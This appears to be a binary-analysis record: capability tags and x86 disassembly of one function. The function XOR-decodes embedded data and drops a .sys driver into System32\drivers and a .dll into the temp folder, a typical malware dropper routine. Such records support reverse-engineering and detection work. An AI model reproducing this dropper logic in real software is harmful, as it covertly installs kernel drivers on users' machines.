Function at 0x403730
Capabilities:
Delete file
Encode data using xor
Get common file path
Write file on windows

Disassembly:
sub esp, 0x248
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x416200
mov dword [esp + 0x28], 0x416200
mov dword [esp + 0x38], 0x400
mov dword [esp + 0x3c], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
push ebx
push ebp
push esi
push edi
test dl, dl
je 0x403825
cmp byte [esp + 0x264], 0
mov eax, dword [0x423c34]
jne 0x403792
mov eax, dword [0x423c30]
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x400
mov dword [esp + 0x34], 0
call fcn.004036d0
cmp byte [esp + 0x264], 0
mov ebx, dword [esp + 0x24]
je 0x4037de
mov eax, dword [0x423c34]
mov esi, 0x42a480
jmp 0x4037e8
mov eax, dword [0x423c30]
mov esi, 0x423c38
cmp ebx, eax
jbe 0x4037ee
mov ebx, eax
mov edx, ebx
test ebx, ebx
jle 0x403817
mov edi, dword [esp + 0x30]
mov al, byte [esi]
lea esi, [esi + 1]
mov cl, dl
lea edi, [edi + 1]
shl cl, 5
add cl, dl
dec edx
add cl, cl
sub al, cl
xor al, 0x42
mov byte [edi - 1], al
test edx, edx
jg 0x4037f8
test ebx, ebx
jne 0x4038c7
or esi, 0xffffffff
jmp 0x403ba0
mov bl, byte [esp + 0x264]
mov eax, dword [0x418014]
test bl, bl
jne 0x40383a
mov eax, dword [0x418010]
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x400
mov dword [esp + 0x34], 0
call fcn.004036d0
mov edi, dword [esp + 0x24]
test bl, bl
je 0x403880
mov eax, dword [0x418014]
mov edx, 0x41dcf0
jmp 0x40388a
mov eax, dword [0x418010]
mov edx, 0x418018
cmp edi, eax
jbe 0x403890
mov edi, eax
mov ecx, edi
test edi, edi
jle 0x4038bb
mov esi, dword [esp + 0x30]
lea ebx, [ebx]
movzx eax, cl
lea edx, [edx + 1]
imul eax, eax, 0x25
lea esi, [esi + 1]
dec ecx
add al, byte [edx - 1]
xor al, 0xdb
mov byte [esi - 1], al
test ecx, ecx
jg 0x4038a0
test edi, edi
jne 0x4038c7
mov esi, 0xfffffffe
jmp 0x403ba0
push 0x62770
call fcn.00401010
add esp, 4
test eax, eax
je 0x4038ec
lea ecx, [esp + 0x1c]
push ecx
push 1
push 1
mov ecx, eax
call fcn.004019f0
mov esi, eax
jmp 0x4038ee
xor esi, esi
push 0
push esi
lea eax, [esp + 0x40]
push eax
call fcn.0040d230
mov edi, eax
test esi, esi
je 0x403975
push dword [esi + 0x62764]
call fcn.00401030
add esp, 4
lea ecx, [esi + 0x1d8]
call fcn.00403410
push dword [esi + 0x1d0]
call fcn.00401030
push dword [esi + 0x1b8]
call fcn.00401030
push dword [esi + 0x1a0]
call fcn.00401030
push dword [esi + 0x188]
call fcn.00401030
push dword [esi + 0x170]
call fcn.00401030
push dword [esi + 0x158]
call fcn.00401030
push dword [esi + 0x140]
call fcn.00401030
push 0x62770
push esi
call fcn.00401030
add esp, 0x24
test edi, edi
jns 0x403983
mov esi, 0xfffffffd
jmp 0x403ba0
mov eax, dword [esp + 0x4c]
mov esi, dword [esp + 0x40]
mov dword [esp + 0x34], eax
test eax, eax
je 0x403b9b
test esi, esi
je 0x403b9b
push 0x104
lea eax, [esp + 0x54]
mov dword [esp + 0x14], 0
push eax
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
test eax, eax
je 0x403aa6
push str.drivers_
lea eax, [esp + 0x54]
push eax
call ebx
push dword [esp + 0x18]
lea eax, [esp + 0x54]
push eax
call ebx
push str..sys
lea eax, [esp + 0x54]
push eax
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
mov eax, dword [esp + 0x260]
test eax, eax
je 0x403a0a
lea ecx, [esp + 0x50]
push ecx
push eax
call edi
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 1
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
cmp dword [esp + 0x14], 0xffffffff
je 0x403b29
push str.SystemRootSystem32drivers_
lea eax, [esp + 0x54]
push eax
call edi
push dword [esp + 0x18]
lea eax, [esp + 0x54]
push eax
call ebx
push str..sys
lea eax, [esp + 0x54]
push eax
call ebx
push 0
lea eax, [esp + 0x14]
push eax
push esi
push dword [esp + 0x40]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x14]
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
je 0x403a8d
cmp dword [esp + 0x10], esi
je 0x403a98
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebp, ebp
je 0x403aa6
cmp dword [esp + 0x10], esi
je 0x403b6d
lea eax, [esp + 0x50]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403b6d
push dword [esp + 0x18]
lea eax, [esp + 0x54]
push eax
call ebx
push str..dll
lea eax, [esp + 0x54]
push eax
call ebx
mov eax, dword [esp + 0x260]
test eax, eax
je 0x403ae8
lea ecx, [esp + 0x50]
push ecx
push eax
call edi
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403b51
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x403b4a
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x260]
call edi
xor esi, esi
jmp 0x403ba0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x403aa6
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x260]
call edi
xor esi, esi
jmp 0x403ba0
mov esi, 0xfffffffb
jmp 0x403ba0
push 0
lea eax, [esp + 0x14]
push eax
push esi
push dword [esp + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
je 0x403b89
cmp dword [esp + 0x10], esi
jne 0x403b89
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x260]
call edi
xor esi, esi
jmp 0x403ba0
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, 0xfffffffa
jmp 0x403ba0
mov esi, 0xfffffffc
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x38], 0x416200
test eax, eax
je 0x403bb9
push eax
call fcn.00401030
add esp, 4
mov eax, dword [esp + 0x30]
mov dword [esp + 0x38], 0x4161e4
mov dword [esp + 0x1c], 0x416200
test eax, eax
je 0x403bda
push eax
call fcn.00401030
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x248
ret 0xc